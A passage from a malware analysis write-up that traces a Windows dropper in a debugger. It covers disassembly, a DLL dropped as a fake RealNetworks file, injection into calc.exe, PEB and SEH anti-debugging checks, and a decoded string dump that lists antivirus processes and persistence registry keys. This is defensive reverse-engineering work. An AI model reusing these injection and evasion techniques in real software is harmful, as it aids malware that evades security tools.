0040163B  |. 85C0           TEST EAX,EAX
0040163D  |. 74 13          JE SHORT l.00401652
0040163F  |. 8D45 E4        LEA EAX,DWORD PTR SS:[EBP-1C]
00401642  |. 50             PUSH EAX
00401643  |. 8D45 DC        LEA EAX,DWORD PTR SS:[EBP-24]
00401646  |. 50             PUSH EAX
00401647  |. 8D45 D4        LEA EAX,DWORD PTR SS:[EBP-2C]
0040164A  |. 50             PUSH EAX
0040164B  |. 53             PUSH EBX
0040164C  |. FF15 6C404000  CALL DWORD PTR DS:[40406C]                                 ;  kernel32.SetFileTime
00401652  |> 53             PUSH EBX
00401653  |. FF15 2C404000  CALL DWORD PTR DS:[40402C]                                 ;  kernel32.CloseHandle
00401659  |> 68 00800000    PUSH 8000
0040165E  |. 56             PUSH ESI
0040165F  |. 57             PUSH EDI
00401660  |. FF15 88404000  CALL DWORD PTR DS:[404088]                                 ;  kernel32.VirtualFree
00401666  |. 8B5D F4        MOV EBX,DWORD PTR SS:[EBP-C]
00401669  |> 53             PUSH EBX
0040166A  |. FF15 B0404000  CALL DWORD PTR DS:[4040B0]                                 ;  kernel32.FreeResource
00401670  |> 8B45 FC        MOV EAX,DWORD PTR SS:[EBP-4]
00401673  |. 5F             POP EDI
00401674  |. 5E             POP ESI
00401675  |. 5B             POP EBX
00401676  |. C9             LEAVE
00401677  \. C3             RETN

The code calls the following functions :

  • FindResource
  • LoadResource
  • SizeOfResource
  • SetHandleCount
  • VirtualAlloc  (in our analysis it allocates memory at 0x00370000)
  • call to 004013BB (in that routine, memory is set to 0x20 again, and then populated with what appears to be the hex dump of an executable)

image

  • memcpy  (taking 0xE4 bytes from 004053D0 and writing it to 00379030, which – at that time, contains the string "Fuck")

image

After the memcpy, the memory area looks like this :

image

  • CreateFileA
  • WriteFile
  • GetModuleHandleA (of user32.dll)
  • GetModuleFileNameA
  • GetFileAttributesExA (of user32.dll)
  • SetFileTime
  • CloseHandle
  • VirtualFree
  • FreeResource

To cut a long story short, the application decodes/writes some "stuff" in memory and then creates a tmp file under C:\Documents and Settings\\Local Settings\Temp :

image

(Don’t pay attention to the filename itself, the filename might be different if you are doing this on your own system. We’ll just refer to this file as the .tmp file).

Quick analysis of the tmp file header shows this :

Length Of Struc: 0294h
Length Of Value: 0034h
Type Of Struc: 0000h
Info: VS_VERSION_INFO
Signature: FEEF04BDh
Struc Version: 1.0
File Version: 6.0.7.4085
Product Version: 6.0.7.4085
File Flags Mask: 0.0
File Flags: 
File OS: WINDOWS32
File Type: DLL
File SubType: UNKNOWN
File Date: 00:00:00 00/00/0000

Struc has Child(ren). Size: 568 bytes.
Child Type: StringFileInfo
Language/Code Page: 1033/1200
CompanyName: RealNetworks, Inc.
FileDescription: RealVideo
FileVersion: 6.0.7.4085
LegalCopyright: Copyright © RealNetworks, Inc. 1995-2002
ProductName: RealVideo (32-bit) 
ProductVersion: 6.0.7.4085

Child Type: VarFileInfo
Translation: 1033/1200

File Type : DLL … Interesting !

CompanyName : RealNetworks, Inc….   Yeah right.

At 0x00401FB4, a LoadLibrary call is executed, taking the full path to the newly created tmp file as argument…  This reinforces  that the .tmp file is really a binary (a dll) :

image

The LoadLibraryA call loads the dll at baseaddress 0x10000000 :

image

When the .tmp file was loaded, imm32.dll gets loaded as well (other dll’s such as secur32.dll, gdi32.dll, were already loaded earlier), so this is yet another indication that the .tmp file is a binary/dll and contains some imports from OS dll’s.

LoadLibrary has the ability to load both dll’s and exe files (which have the same PE structure btw).

Interestingly, the tmp/dll file gets loaded without Immunity Debugger reporting that it got loaded. No trace of it in "Executable Modules" and no trace of it in the "log" window either :

image

The memory map, on the other hand, does indicate that something was loaded at 0x10000000 :

image

Next, a pointer to the string "rmoc3260.tlb" is put in eax. Next, a pointer to the string "atrc32.dll" is retrieved from the string array and put in eax.

Then, ProcAddress of ProcNameOrdinal nr5 is retrieved :

image

A pointer to "%ProgramFiles%\Real\" is put in eax, then moved to edi.  Then, a pointer to "%Systemroot%\system32\" is retrieved and moved into ebx.  A pointer to "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad" is put in eax.

Then, a memcpy from 00401000 to 0012E884 occurs (0x400 bytes) and a pointer to the string "calc" is retrieved.

The l.exe binary creates a new process :

image

and it says it’s calc.exe :)

image

Wow – where did that come from ?  We’ll look at it in a bit.

Then, VirtualAlloc() is executed, memory is reset (REP STOS), and a call to WriteProcessMemory() is executed, writing 0x1000 bytes to hProcess 0x48 (window), to address 0xA0000, from 0012E884.

image

Next, the code performs GetThreadContext on thread 4C (window), with pContext pointer set to 0012F884. Finally, ResumeThread() is sent to thread 4C, and the l.exe process is terminated.

Terminated? That was fast. Maybe a little too fast.

Okay, before looking any further, we’ll have to analyse the .tmp file (which really is an executable binary/dll). We already suspect that the file, which is generated at runtime, will be the one responsible for further infection / other activity.  We also need to look at the calc process, but maybe the tmp file and the calc process are connected/related to each other.  And there’s also the WPM call, which writes data to 0xA000… Maybe that’s an injection into the calc process…. We’ll see.

All of the above happened in no more than a few seconds.

 

December 2nd, 2010 21:43:59 GMT+1 – stage 3 : the .tmp file

In order to analyze what exactly happens when l.exe runs, produces a tmp file and executes code in the "tmp" file, we’ll also use a couple of other tools (other than a debugger) to document what happens.

First of all, let’s dump the imports used by the dll :

10009000  RegQueryValueA               ADVAPI32
10009004  RegCreateKeyExA              ADVAPI32
10009008  InitializeSecurityDescriptor ADVAPI32
1000900C  SetSecurityDescriptorDacl    ADVAPI32
10009010  RegDeleteValueA              ADVAPI32
10009014  RegOpenKeyA                  ADVAPI32
10009018  RegSetValueExA               ADVAPI32
1000901C  RegOpenKeyExA                ADVAPI32
10009020  RegQueryValueExA             ADVAPI32
10009024  RegCloseKey                  ADVAPI32
10009028  RegEnumValueA                ADVAPI32
10009030  LCMapStringW                 KERNEL32
10009034  GetCurrentProcess            KERNEL32
10009038  LCMapStringA                 KERNEL32
1000903C  GetSystemInfo                KERNEL32
10009040  GetLocaleInfoA               KERNEL32
10009044  GetCPInfo                    KERNEL32
10009048  GetStringTypeA               KERNEL32
1000904C  GetStringTypeW               KERNEL32
10009050  QueryPerformanceCounter      KERNEL32
10009054  GetTickCount                 KERNEL32
10009058  GetCurrentThreadId           KERNEL32
1000905C  GetSystemTimeAsFileTime      KERNEL32
10009060  GetACP                       KERNEL32
10009064  GetOEMCP                     KERNEL32
10009068  WideCharToMultiByte          KERNEL32
1000906C  CreateMutexA                 KERNEL32
10009070  ResetEvent                   KERNEL32
10009074  VirtualFree                  KERNEL32
10009078  CreateProcessA               KERNEL32
1000907C  GetStartupInfoA              KERNEL32
10009080  LeaveCriticalSection         KERNEL32
10009084  EnterCriticalSection         KERNEL32
10009088  Sleep                        KERNEL32
1000908C  WaitForSingleObject          KERNEL32
10009090  TerminateProcess             KERNEL32
10009094  WriteProcessMemory           KERNEL32
10009098  VirtualAllocEx               KERNEL32
1000909C  GetThreadContext             KERNEL32
100090A0  lstrcpynA                    KERNEL32
100090A4  CloseHandle                  KERNEL32
100090A8  ResumeThread                 KERNEL32
100090AC  FindClose                    KERNEL32
100090B0  FindNextFileA                KERNEL32
100090B4  FindFirstFileA               KERNEL32
100090B8  GetModuleFileNameA           KERNEL32
100090BC  SetEvent                     KERNEL32
100090C0  lstrcatA                     KERNEL32
100090C4  lstrlenA                     KERNEL32
100090C8  lstrcpyA                     KERNEL32
100090CC  VirtualAlloc                 KERNEL32
100090D0  FreeLibrary                  KERNEL32
100090D4  GetCurrentProcessId          KERNEL32
100090D8  GetProcAddress               KERNEL32
100090DC  ExitThread                   KERNEL32
100090E0  CreateThread                 KERNEL32
100090E4  InitializeCriticalSection    KERNEL32
100090E8  CreateEventA                 KERNEL32
100090EC  CreateDirectoryA             KERNEL32
100090F0  GetFileAttributesA           KERNEL32
100090F4  LocalFree                    KERNEL32
100090F8  GetModuleHandleA             KERNEL32
100090FC  SetUnhandledExceptionFilter  KERNEL32
10009100  LocalAlloc                   KERNEL32
10009104  GetLastError                 KERNEL32
10009108  MoveFileExA                  KERNEL32
1000910C  LoadLibraryA                 KERNEL32
10009110  CopyFileA                    KERNEL32
10009114  ExpandEnvironmentStringsA    KERNEL32
10009118  GetVolumeInformationA        KERNEL32
1000911C  FreeLibraryAndExitThread     KERNEL32
10009120  DisableThreadLibraryCalls    KERNEL32
10009124  WriteFile                    KERNEL32
10009128  CreateFileA                  KERNEL32
1000912C  DeleteFileA                  KERNEL32
10009130  lstrcmpiA                    KERNEL32
10009134  GetLocalTime                 KERNEL32
10009138  GetSystemDefaultLCID         KERNEL32
1000913C  IsBadReadPtr                 KERNEL32
10009140  ExitProcess                  KERNEL32
10009144  lstrcmpA                     KERNEL32
10009148  VirtualProtect               KERNEL32
1000914C  VirtualQuery                 KERNEL32
10009150  LoadLibraryExW               KERNEL32
10009154  GetSystemDirectoryA          KERNEL32
10009158  SetFileAttributesA           KERNEL32
1000915C  GetTempFileNameA             KERNEL32
10009160  ReadFile                     KERNEL32
10009164  GetFileSize                  KERNEL32
10009168  SetFilePointer               KERNEL32
1000916C  Process32Next                KERNEL32
10009170  Process32First               KERNEL32
10009174  CreateToolhelp32Snapshot     KERNEL32
10009178  Thread32Next                 KERNEL32
1000917C  OpenThread                   KERNEL32
10009180  Thread32First                KERNEL32
10009184  GetTempPathA                 KERNEL32
10009188  SetFileTime                  KERNEL32
1000918C  GetFileTime                  KERNEL32
10009190  OpenProcess                  KERNEL32
10009194  MultiByteToWideChar          KERNEL32
10009198  MapViewOfFile                KERNEL32
1000919C  CreateFileMappingA           KERNEL32
100091A0  IsBadWritePtr                KERNEL32
100091A4  FreeResource                 KERNEL32
100091A8  LockResource                 KERNEL32
100091AC  LoadResource                 KERNEL32
100091B0  SizeofResource               KERNEL32
100091B4  FindResourceA                KERNEL32
100091B8  HeapAlloc                    KERNEL32
100091BC  GetProcessHeap               KERNEL32
100091C0  HeapFree                     KERNEL32
100091C4  RtlUnwind                    KERNEL32
100091C8  InterlockedExchange          KERNEL32
100091D0  wvsprintfA                   USER32  
100091D4  GetWindowThreadProcessId     USER32  
100091D8  IsWindow                     USER32  
100091DC  SendMessageA                 USER32  
100091E0  RegisterClassExA             USER32  
100091E4  CreateWindowExA              USER32  
100091E8  MoveWindow                   USER32  
100091EC  ShowWindow                   USER32  
100091F0  GetMessageA                  USER32  
100091F4  TranslateMessage             USER32  
100091F8  DispatchMessageA             USER32  
100091FC  PostQuitMessage              USER32  
10009200  DefWindowProcA               USER32  
10009204  KillTimer                    USER32  
10009208  SetTimer                     USER32  

Wow – impressive list …  and the imported function names indicate a couple of things :

  • file interaction
  • process interaction
  • registry interaction

The list with exported functions is a lot smaller :

DllCanUnloadNow     10002154 1
DllGetClassObject   10002126 2
DllRegisterServer   10001EDF 3
DllUnregisterServer 10001EDF 4
RMOC3260_5          10001EE2 5
RMOC3260_6          1000215A 6
RMOC3260_7          10004EF2 7
DllEntryPoint       10005A69  

So we can expect to see a limited number of functions in the dll, implementing the required logic to do more harm (maybe it will permanently infect the machine, propagate, etc etc).   All we know so far is that the dll gets loaded by l.exe, but it has been unclear what exactly it does or has done so far. 

Maybe the combination of l.exe and the tmp file will produce new functions. Reproducing new code at runtime is not that uncommon in malware.  In fact, this is a frequently used technique in malicious code when trying to hide routines from getting detected by AV.

What is really strange is that the debugger didn’t report that the tmp file got loaded as a library.  (At least, not at first sight).

Procmon reports a lot of activity generated by l.exe, so it looks like something was injected and executed, trying to hide from debuggers and/or procmon. 

There must be something else going on…

Running l.exe outside the debugger shows a lot of interaction :

image

… that’s a lot more than what we saw in the debugger analysis of l.exe.

(You can get a copy of the procmon output here : http://redmine.corelan.be:8800/attachments/download/179/l.exe.Logfile.PML)

To be sure, we also tried to use Windows System State Analyzer to document changes to the OS. I created a snapshot before and after the infection occurred, but the utility died when trying to compare the results.  Fail.

image

We can expect/assume that l.exe is calling code in the tmp/dll file or using bytes (as data) to recreate new code.  If it reproduces new code and injects it into another process, it would explain why procmon reports a lot more activity than what we documented by looking at l.exe itself.  But we should be able to at least retrieve "something" about it in the debugger. At this point, all we saw is that the tmp file was loaded, and shortly after, the process died.

Let’s try to reveal how the code in the dll (tmp) gets called & what it does, and why the behavior of l.exe is different when ran inside a debugger vs outside a debugger.  It certainly smells like one or more anti-debugging tricks were used.

Let’s take a few steps back & look at the LoadLibrary call again (which loads the tmp file). This call is located at 0x00401FB4.  We’ll walk through the instructions again, this time paying close attention to anti-debugger routines as well.

A few instructions below the loadlibrary call, we see a call to DWORD [EBP-14] and a call to [DWORD EBP-44]

image

At [EBP-14], we see this :

image

Ah – that’s code inside the dll..  IDA recognizes this as function RMOC3260_5

image

This function writes pointers inside the loaded module onto the stack (pointed to by EAX+ offset) :

image

or – as seen on the stack :

image

Next, when the routine has returned, a call to [EBP-44] is made. EBP-44 points to 10003CB1, and that is yet another function in the dll :

image

First, ecx and eax are pushed onto the stack. Then, the linear adress of the PEB (fs:30h) is put into eax (7FFDC000 in our case), and then written to ESP+4.  Then the top value is popped from the stack again, into eax (basically restoring what was in eax before the PEB pointer was retrieved). Next, the linear address of the PEB is put in EAX.  EAX is then set to 1, and the linear address of PEB (which still sits at the top of the stack at this point), is popped into ECX.

When that function returns, we see

00402017  |. 85C0           TEST EAX,EAX
00402019  |. 0F85 69010000  JNZ l.00402188

EAX is set to 1, so the jump will be made (to 00402188) :

image

Hmmm – it looks like it frees the library and deletes the tmp file. 

The PUSH DWORD [EBP-4] puts a pointer to the startaddress of the loaded dll on the stack (0x10000000).  FreeLibrary() takes this as argument.

image

This effectively unloads the dll from memory (so 0x10000000 points to nowhere after the call is made).

The call to kernel32.DeleteFileA removes the tmp file (PUSH EAX pushes a pointer to the full filename/path of the tmp to the stack and DeleteFileA takes that as argument)

image

The code continues, and calls function 0x00401D76.  In that function, we first see a call to 004021E0, then does a memset and memcpy, and ends up calling CreateProcessA (0x00401E05), taking 0012FB50 as pStartupInfo and 0x0012FB98 as pProcessInfo :

image

We have seen this (calc) before in the analysis of stage 2, but it has become clear that we missed a piece.  Loading a dll, calling a simple function, and removing it again … Something doesn’t seem right…

Let’s go back to the function at 10003CB1.  Based on the outcome (EAX being 0 or 1), the code decides to unload the dll / clear memory or not.  The outcome of the routine is different depending on whether there is a debugger attached or not…

Think about it. Look back at the routine.  At a certain point, it reads a value from [EAX+2].  At that point, EAX points to the PEB. So this code reads the "BeingDebugged" flag from the PEB and stores the result in EAX. 

Basic schoolbook anti-debugging trick.

So let’s step back & change the logic.  Let’s run the code again (breakpoint set at  0x00402014 – where the call to EBP-44 is made). Just before the function returns, change EAX to 0 :

image

Because of the change, the jump to unload the dll & clean up memory is not taken, and the malware continues to execute a different set of code :

image

Of course, I can also use a PyCommand for Immunity Debugger : !hidedebug All_Debug, which will patch a couple of known techniques to detect if a debugger is present or not:

image

After patching PEB, the code continues and a function at 0x00401D4B is called (at 0x0040202A).

image

In that function, we see this :

00401D4B  /$ E8 ACFFFFFF    CALL l.00401CFC
00401D50  |. 85C0           TEST EAX,EAX
00401D52  |. 74 04          JE SHORT l.00401D58
00401D54  |> 33C0           XOR EAX,EAX
00401D56  |. 40             INC EAX
00401D57  |. C3             RETN
00401D58  |> E8 B6FFFFFF    CALL l.00401D13
00401D5D  |. 85C0           TEST EAX,EAX
00401D5F  |.^75 F3          JNZ SHORT l.00401D54
00401D61  |. E8 3DFFFFFF    CALL l.00401CA3
00401D66  |. 85C0           TEST EAX,EAX
00401D68  |.^75 EA          JNZ SHORT l.00401D54
00401D6A  |. E8 C4FEFFFF    CALL l.00401C33
00401D6F  |. F7D8           NEG EAX
00401D71  |. 1BC0           SBB EAX,EAX
00401D73  |. F7D8           NEG EAX
00401D75  \. C3             RETN

We end up calling 0x00401D13 and 00401CA3. Inside the function at 0x00401CA3, a call is made to 004023A8, where a SEH record is created and some pointers to strings and an API is put onto the stack :

image

Then, after this function returns, we see this :

image

The I/O command at 00401CCB generates an exception, and the SEH record which was created a few instructions above gets called

image

I set a breakpoint at 0x00402210 and passed the exception to the application.  As expected, the handler gets called :

image

A jmp to msvcrt._except_handler is performed.  In that routine, 77C3930C is called. In that function, we observe

  • a call to VirtualQuery (hProcess = FFFFFFFF, Address = 00403078, Buffer = 0012F76C and BufSize = 0x1c)
  • a call to InterlockedExchange (pTarget = msvcrt.77C6A108 and NewValue = 1)
  • a call to InterlockedExchange (pTarget = msvcrt.77C6A108 and NewValue = 0)
  • 2 calls to MSVCRT._global_unwind2
  • a call to 00401CE8, which ends up calling 004023E3. This loads a couple of pointers into registers :
    • EBX => "%SystemRoot%\system32\"
    • ESI => kernel.GetProcAddress
    • EDI => "%ProgramFiles%\Real\"
  • Then a call to 00401C33 is made, which calls 004023A8. That function manipulates FS[0] and makes it point to 0012FFB0 (stack). 0012FFB0 points to 0012FFE0

    image

When the function returns, another exception is triggered :

image

At that time, the SEH chain still points to 0x00402210

image

Pass the exception to the application (Shift+F9). This generates a debugger message that says "Illegal instruction – use Shift+F7/F8/F9 to pass exception to program".  Pass the exception again (Shift+F9).

This brings us back at 0x00402210 (same location as a few moments ago).

image

The fact that the binary uses a custom SEH record *might* be an indication that it’s trying to fool automated tools by making it think that it’s corrupted or broken, while it still effectively can redirect flow.  You can find some more info about this concept here.

Again, msvcrt.77C3930C  gets called, but this time no VirtualQuery occurs.  This time, the code ends up calling ntdll.ZwContinue. Parameters to the call are Arg1 : 0012F8A8 and Arg2 : 00000000

In that function, we get redirected to 00401C57 and in that function, 004023E3 is called (which, as expected, removes one entry from the SEH chain)

The code continues at 0040202F. This calls 004014D1 (which is the function that will get a pointer to a string in the string table that was mentioned earlier).  The string that is retrieved, is  "_!RKU#PNP#090921!_".

Then, a call is made to kernel32.OpenMutexA, using the following parameters :

image

OpenMutexA will open an existing named mutex object (referenced by MutexName). This could be a technique, used by the binary, to find out if the malware is already running. In the kernel32.OpenMutexA function, the string is converted to Unicode, and then ntdll.ZwOpenMutant is called (Arg1 : 0012FB78, Arg2 : 00000001, Arg3 : 0012FB58)

The call to OpenMutexA returns 0 (eax), so no jump is made to 00402162 :

image

(We have seen function 0x00402162 before – the function will release the library (tmp), delete the tmp file, and free memory. I labeled the function so it would be easier to recognize.)

Anyways, the OpenMutexA call returned 0, so the code continues with a call to 100058FC.

image

image

In that function, it first pushes 2 dwords to the stack and then calls routine at 0x10005F00. In that routine, some pointers are pushed onto the stack, and a new exception handler record (pointing at 0x10005F54) is created.

image

image

Then function 10005908 is called. It generates the string "TYPELIB" on the stack, fetches a pointer to the string, and sets up the arguments for a FindResourceA() API call :

image

image

"TYPELIB" – interesting :)

Next, SizeofResource is called (with hModule set to 0x10000000 and hResource set to 1000C080 (eax)). The call returns 0x4289 (stored in eax).  Then, LoadResource is performed :

image

This returns a pointer to the resource : 0x1000C0B0 :

image

This pointer is then written onto the stack (at EBP-1C).

Next, a VirtualAlloc() is executed, (0x10000 bytes, ReadWrite), which returns pointer 0x00380000 (stored in eax). This pointer is also written to the stack (right above the pointer to the resource).

Next, kernel32.SetHandleCount(0x1000C0B0) is executed.

At 1000599C, another function is called : 10002E38. This is (coincidence or not) the first pointer that was stored in the function pointer array on the stack (pointers to functions inside the dll).  Inside function 10002E38, another function gets called (0x10002DCF).

A stack setup is prepared…

0012FB20   00000000  ....
0012FB24   00004289  ‰B..
0012FB28   00380000  ..8.
0012FB2C   FFFFFFFF  ÿÿÿÿ
0012FB30   00380000  ..8.
0012FB34   00000000  ....
0012FB38   FFFFFC00  .üÿÿ
0012FB3C   00380000  ..8.
0012FB40  /0012FBA4  ¤û.
0012FB44  |100059A1  ¡Y.  RETURN to 4E.100059A1 from 4E.10002E38

… followed by a loop that starts writing bytes to the newly allocated memory region (0x00380000) :

image

The function ends and returns to 0x100059A1.  Then a couple of functions are called and eventually something that looks like an executable is written to 00390000 …

image

… and a little later, another set of bytes is written (to 00391xxx)

image

A third set of bytes (0x896) is written to 00394000 :

image

and that starts to look like some of the entries we saw in the procmon report.

Full dump :

00394000  C4 46 00 00 DA 46 00 00 EA 46 00 00 02 47 00 00  ÄF..ÚF..êF..G..
00394010  18 47 00 00 30 47 00 00 40 47 00 00 52 47 00 00  G..0G..@G..RG..
00394020  60 47 00 00 6E 47 00 00 82 47 00 00 92 47 00 00  `G..nG..‚G..’G..
00394030  A2 47 00 00 B4 47 00 00 C4 47 00 00 DC 47 00 00  ¢G..´G..ÄG..ÜG..
00394040  F0 47 00 00 10 48 00 00 28 48 00 00 00 00 00 00  ðG..H..(H......
00394050  48 48 00 00 5C 48 00 00 6A 48 00 00 7A 48 00 00  HH..\H..jH..zH..
00394060  86 48 00 00 94 48 00 00 A6 48 00 00 C2 48 00 00  †H..”H..¦H..ÂH..
00394070  D0 48 00 00 E6 48 00 00 F6 48 00 00 06 49 00 00  ÐH..æH..öH..I..
00394080  16 49 00 00 2C 49 00 00 40 49 00 00 4C 49 00 00  I..,I..@I..LI..
00394090  5E 49 00 00 6A 49 00 00 76 49 00 00 84 49 00 00  ^I..jI..vI..„I..
003940A0  92 49 00 00 9E 49 00 00 A6 49 00 00 B2 49 00 00  ’I..žI..¦I..²I..
003940B0  BE 49 00 00 CE 49 00 00 EA 49 00 00 F8 49 00 00  ¾I..ÎI..êI..øI..
003940C0  0A 4A 00 00 1A 4A 00 00 2E 4A 00 00 40 4A 00 00  .J..J...J..@J..
003940D0  56 4A 00 00 6C 4A 00 00 82 4A 00 00 94 4A 00 00  VJ..lJ..‚J..”J..
003940E0  A8 4A 00 00 B8 4A 00 00 C6 4A 00 00 D6 4A 00 00  ¨J..¸J..ÆJ..ÖJ..
003940F0  EA 4A 00 00 FC 4A 00 00 12 4B 00 00 20 4B 00 00  êJ..üJ..K.. K..
00394100  32 4B 00 00 40 4B 00 00 56 4B 00 00 6A 4B 00 00  2K..@K..VK..jK..
00394110  76 4B 00 00 84 4B 00 00 9C 4B 00 00 B0 4B 00 00  vK..„K..œK..°K..
00394120  C4 4B 00 00 D4 4B 00 00 EA 4B 00 00 00 00 00 00  ÄK..ÔK..êK......
00394130  08 4C 00 00 12 4C 00 00 1C 4C 00 00 26 4C 00 00  L..L..L..&L..
00394140  2E 4C 00 00 38 4C 00 00 4E 4C 00 00 5A 4C 00 00  .L..8L..NL..ZL..
00394150  00 00 00 00 00 00 00 00 5C 5C 2E 5C 53 54 4D 33  ........\\.\STM3
00394160  32 4B 72 6E 6C 00 00 00 77 75 61 75 73 65 72 76  2Krnl...wuauserv
00394170  00 00 00 00 6B 65 72 6E 65 6C 33 32 00 00 00 00  ....kernel32....
00394180  6E 74 64 6C 6C 2E 64 6C 6C 00 00 00 53 61 66 65  ntdll.dll...Safe
00394190  33 32 2E 4D 75 74 61 6E 74 4E 61 6D 65 00 00 00  32.MutantName...
003941A0  53 61 66 65 33 32 2E 45 76 65 6E 74 00 00 00 00  Safe32.Event....
003941B0  2E 63 72 74 00 00 00 00 2E 33 38 36 00 00 00 00  .crt.....386....
003941C0  5C 70 73 61 70 69 2E 64 6C 6C 00 00 25 53 79 73  \psapi.dll..%Sys
003941D0  74 65 6D 72 6F 6F 74 25 5C 73 79 73 74 65 6D 33  temroot%\system3
003941E0  32 5C 70 73 61 70 69 2E 64 6C 6C 00 5C 5C 2E 5C  2\psapi.dll.\\.\
003941F0  33 36 30 53 65 6C 66 50 72 6F 74 65 63 74 69 6F  360SelfProtectio
00394200  6E 00 00 00 5C 5C 2E 5C 33 36 30 53 70 53 68 61  n...\\.\360SpSha
00394210  64 6F 77 30 00 00 00 00 73 66 63 2E 64 6C 6C 00  dow0....sfc.dll.
00394220  25 53 79 73 74 65 6D 72 6F 6F 74 25 5C 73 79 73  %Systemroot%\sys
00394230  74 65 6D 33 32 5C 77 75 61 75 63 6C 74 2E 65 78  tem32\wuauclt.ex
00394240  65 00 00 00 2D 38 44 35 46 2D 34 35 32 39 2D 00  e...-8D5F-4529-.
00394250  2D 72 61 76 2D 00 00 00 63 61 6C 63 00 00 00 00  -rav-...calc....
00394260  5C 3F 3F 5C 00 00 00 00 46 41 54 33 32 00 00 00  \??\....FAT32...
00394270  5C 5C 2E 5C 25 63 3A 00 5C 52 65 67 69 73 74 72  \\.\%c:.\Registr
00394280  79 5C 4D 61 63 68 69 6E 65 5C 00 00 49 6D 61 67  y\Machine\..Imag
00394290  65 50 61 74 68 00 00 00 54 79 70 65 00 00 00 00  ePath...Type....
003942A0  53 74 61 72 74 00 00 00 45 72 72 6F 72 43 6F 6E  Start...ErrorCon
003942B0  74 72 6F 6C 00 00 00 00 53 59 53 54 45 4D 5C 43  trol....SYSTEM\C
003942C0  75 72 72 65 6E 74 43 6F 6E 74 72 6F 6C 53 65 74  urrentControlSet
003942D0  5C 53 65 72 76 69 63 65 73 5C 25 30 38 78 00 00  \Services\%08x..
003942E0  44 65 62 75 67 67 65 72 00 00 00 00 6E 74 73 64  Debugger....ntsd
003942F0  20 2D 64 00 45 76 65 72 79 6F 6E 65 00 00 00 00   -d.Everyone....
00394300  4D 41 43 48 49 4E 45 5C 25 73 00 00 00 00 00 00  MACHINE\%s......
00394310  53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F 73 6F  SOFTWARE\Microso
00394320  66 74 5C 57 69 6E 64 6F 77 73 20 4E 54 5C 43 75  ft\Windows NT\Cu
00394330  72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 49 6D 61  rrentVersion\Ima
00394340  67 65 20 46 69 6C 65 20 45 78 65 63 75 74 69 6F  ge File Executio
00394350  6E 20 4F 70 74 69 6F 6E 73 00 00 00 00 00 00 00  n Options.......
00394360  53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F 73 6F  SOFTWARE\Microso
00394370  66 74 5C 57 69 6E 64 6F 77 73 5C 43 75 72 72 65  ft\Windows\Curre
00394380  6E 74 56 65 72 73 69 6F 6E 5C 45 78 70 6C 6F 72  ntVersion\Explor
00394390  65 72 5C 42 72 6F 77 73 65 72 20 48 65 6C 70 65  er\Browser Helpe
003943A0  72 20 4F 62 6A 65 63 74 73 00 00 00 33 36 30 72  r Objects...360r
003943B0  65 61 6C 70 72 6F 2E 65 78 65 00 00 7B 42 36 39  ealpro.exe..{B69
003943C0  46 33 34 44 44 2D 46 30 46 39 2D 34 32 44 43 2D  F34DD-F0F9-42DC-
003943D0  39 45 44 44 2D 39 35 37 31 38 37 44 41 36 38 38  9EDD-957187DA688
003943E0  44 7D 00 00 25 25 53 79 73 74 65 6D 72 6F 6F 74  D}..%%Systemroot
003943F0  25 25 5C 73 79 73 74 65 6D 33 32 5C 64 72 69 76  %%\system32\driv
00394400  65 72 73 5C 25 73 2E 73 79 73 00 00 6B 70 70 74  ers\%s.sys..kppt
00394410  72 61 79 2E 65 78 65 00 47 65 74 4D 6F 64 75 6C  ray.exe.GetModul
00394420  65 46 69 6C 65 4E 61 6D 65 45 78 41 00 00 00 00  eFileNameExA....
00394430  70 73 61 70 69 00 00 00 33 36 30 53 65 6C 66 50  psapi...360SelfP
00394440  72 6F 74 65 63 74 69 6F 6E 00 00 00 71 75 74 6D  rotection...qutm
00394450  69 70 63 00 71 75 74 6D 64 72 76 00 68 6F 6F 6B  ipc.qutmdrv.hook
00394460  70 6F 72 74 00 00 00 00 42 41 50 49 44 52 56 00  port....BAPIDRV.
00394470  45 66 69 4D 6F 6E 00 00 4C 69 76 65 55 70 64 61  EfiMon..LiveUpda
00394480  74 65 33 36 30 2E 65 78 65 00 00 00 5A 68 75 44  te360.exe...ZhuD
00394490  6F 6E 67 46 61 6E 67 59 75 2E 65 78 65 00 00 00  ongFangYu.exe...
003944A0  33 36 30 72 70 2E 65 78 65 00 00 00 33 36 30 73  360rp.exe...360s
003944B0  64 2E 65 78 65 00 00 00 65 67 75 69 2E 65 78 65  d.exe...egui.exe
003944C0  00 00 00 00 65 6B 72 6E 2E 65 78 65 00 00 00 00  ....ekrn.exe....
003944D0  72 73 74 72 61 79 2E 65 78 65 00 00 6B 61 76 73  rstray.exe..kavs
003944E0  74 61 72 74 2E 65 78 65 00 00 00 00 61 76 70 2E  tart.exe....avp.
003944F0  65 78 65 00 73 61 66 65 62 6F 78 74 72 61 79 2E  exe.safeboxtray.
00394500  65 78 65 00 6E 6F 64 33 32 6B 72 6E 2E 65 78 65  exe.nod32krn.exe
00394510  00 00 00 00 33 36 30 74 72 61 79 2E 65 78 65 00  ....360tray.exe.
00394520  70 45 00 00 00 00 00 00 00 00 00 00 3A 48 00 00  pE..........:H..
00394530  00 40 00 00 C0 45 00 00 00 00 00 00 00 00 00 00  .@..ÀE..........
00394540  FA 4B 00 00 50 40 00 00 A0 46 00 00 00 00 00 00  úK..P@.. F......
00394550  00 00 00 00 42 4C 00 00 30 41 00 00 00 00 00 00  ....BL..0A......
00394560  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00394570  C4 46 00 00 DA 46 00 00 EA 46 00 00 02 47 00 00  ÄF..ÚF..êF..G..
00394580  18 47 00 00 30 47 00 00 40 47 00 00 52 47 00 00  G..0G..@G..RG..
00394590  60 47 00 00 6E 47 00 00 82 47 00 00 92 47 00 00  `G..nG..‚G..’G..
003945A0  A2 47 00 00 B4 47 00 00 C4 47 00 00 DC 47 00 00  ¢G..´G..ÄG..ÜG..
003945B0  F0 47 00 00 10 48 00 00 28 48 00 00 00 00 00 00  ðG..H..(H......
003945C0  48 48 00 00 5C 48 00 00 6A 48 00 00 7A 48 00 00  HH..\H..jH..zH..
003945D0  86 48 00 00 94 48 00 00 A6 48 00 00 C2 48 00 00  †H..”H..¦H..ÂH..
003945E0  D0 48 00 00 E6 48 00 00 F6 48 00 00 06 49 00 00  ÐH..æH..öH..I..
003945F0  16 49 00 00 2C 49 00 00 40 49 00 00 4C 49 00 00  I..,I..@I..LI..
